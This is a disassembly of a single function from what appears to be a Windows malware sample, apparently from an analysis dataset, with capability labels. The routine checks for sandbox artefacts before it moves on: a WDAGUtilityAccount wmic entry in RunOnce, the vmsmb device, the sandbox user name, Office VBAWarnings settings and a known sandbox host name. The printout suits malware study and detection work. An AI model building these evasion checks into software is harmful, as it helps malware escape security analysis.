Function at 0x1400015e0
Capabilities:
Accept command line arguments
Check for sandbox username or hostname
Check for windows sandbox via device
Check for windows sandbox via registry
Get hostname
Get session user name
Persist via run registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
mov rax, qword [0x140021008]
xor rax, rsp
mov qword [rbp + 0x5b0], rax
lea rax, [rsp + 0x40]
xor ebx, ebx
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
mov rcx, 0xffffffff80000002
mov esi, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400016f7
lea rdi, [rbp + 0x3b0]
mov dword [rsp + 0x50], 0xff
mov ecx, 0x1fe
mov dword [rsp + 0x4c], 0x100
rep stosb byte [rdi], al
lea rdi, [rbp - 0x60]
mov ecx, 0x1fe
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x50]
lea rax, [rbp - 0x60]
xor edx, edx
mov qword [rsp + 0x30], rax
lea r8, [rbp + 0x3b0]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x1400016e3
lea rdi, [rbp - 0x60]
mov ecx, ebx
lea r8, str.cmd__C_wmic_useraccount_where__nameWDAGUtilityAccount__set_PasswordExpiresFALSE
movzx edx, word [rdi + rcx*2]
movzx eax, word [r8 + rcx*2]
sub edx, eax
jne 0x1400016d9
movzx edx, word [rdi + rcx*2 + 2]
movzx eax, word [r8 + rcx*2 + 2]
sub edx, eax
jne 0x1400016d9
add rcx, 2
cmp rcx, 0x54
jne 0x1400016b3
test edx, edx
mov eax, 1
cmove esi, eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test sil, sil
jne 0x1400019c0
mov qword [rsp + 0x30], rbx
lea rcx, str..GLOBALROOTdevice_vmsmb
mov dword [rsp + 0x28], 3
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 4
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
jne 0x1400019b0
xor eax, eax
mov dword [rsp + 0x48], 0x101
lea rdi, [rbp + 0x1a0]
mov ecx, 0x202
rep stosb byte [rdi], al
lea rcx, [rbp + 0x1a0]
lea rdx, [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov rdi, 0xffffffffffffffff
test eax, eax
je 0x1400017a6
lea rdx, [rbp + 0x1a0]
mov rcx, rdi
lea r8, str.WDAGUtilityAccount
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400017a6
add rcx, 2
cmp rcx, 0x13
je 0x1400019c0
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x140001780
mov esi, 0xc
nop dword [rax + rax]
xor edx, edx
lea rcx, [rbp - 0x60]
mov r8d, 0x104
call fcn.140002ed0
mov r8, rsi
lea rdx, str.SoftwareMicrosoftOffice_d.0WordSecurity
lea rcx, [rbp - 0x60]
call fcn.140001070
lea rax, [rsp + 0x48]
mov dword [rsp + 0x4c], ebx
mov qword [rsp + 0x30], rax
lea r8, str.VBAWarnings
lea rax, [rsp + 0x4c]
mov dword [rsp + 0x48], 4
mov qword [rsp + 0x28], rax
lea rdx, [rbp - 0x60]
mov r9d, 0xffff
mov qword [rsp + 0x20], rbx
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x140001826
cmp dword [rsp + 0x4c], 1
je 0x1400019c0
inc rsi
cmp rsi, 0x11
jbe 0x1400017b0
lea rdx, [rsp + 0x48]
mov dword [rsp + 0x48], 0x21
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 7
nop
inc rdi
cmp word [rax + rdi*2], bx
jne 0x140001860
mov r8, rdi
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x58]
call fcn.140001a10
mov r9, qword [rsp + 0x70]
lea r8, [rsp + 0x58]
mov rdi, qword [rsp + 0x58]
cmp r9, 8
cmovae r8, rdi
cmp qword [rsp + 0x68], 0xf
jne 0x140001977
lea rcx, str.WIN_M8A22QR09B7
mov edx, 0xf
sub r8, rcx
nop dword [rax]
movzx eax, word [rcx]
cmp word [r8 + rcx], ax
jne 0x140001977
add rcx, 2
sub rdx, 1
jne 0x1400018b0
cmp r9, 8
jb 0x140001903
lea rdx, [r9*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400018fb
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a02
mov rcx, rdi
call fcn.140001bfc
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x54]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea rcx, str.kernel32.dll
mov qword [0x140022d10], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.AddVectoredExceptionHandler
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x1400013a0]
xor ecx, ecx
mov qword [0x140022d08], rax
call rax
lea rdx, [0x140001330]
xor ecx, ecx
call qword [0x140022d08]
lea rdx, [0x1400012e0]
xor ecx, ecx
call qword [0x140022d08]
call fcn.140001290
call fcn.140006994
jmp 0x1400019d8
cmp r9, 8
jb 0x1400019c0
lea rdx, [r9*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400019a6
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a02
mov rcx, rdi
call fcn.140001bfc
jmp 0x1400019c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax]
mov edx, ebx
lea rcx, [0x14001ea70]
call fcn.140001010
inc ebx
cmp ebx, 0x2710
jl 0x1400019c0
xor eax, eax
mov rcx, qword [rbp + 0x5b0]
xor rcx, rsp
call fcn.140001ba0
lea r11, [rsp + 0x6c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.140006f08
int3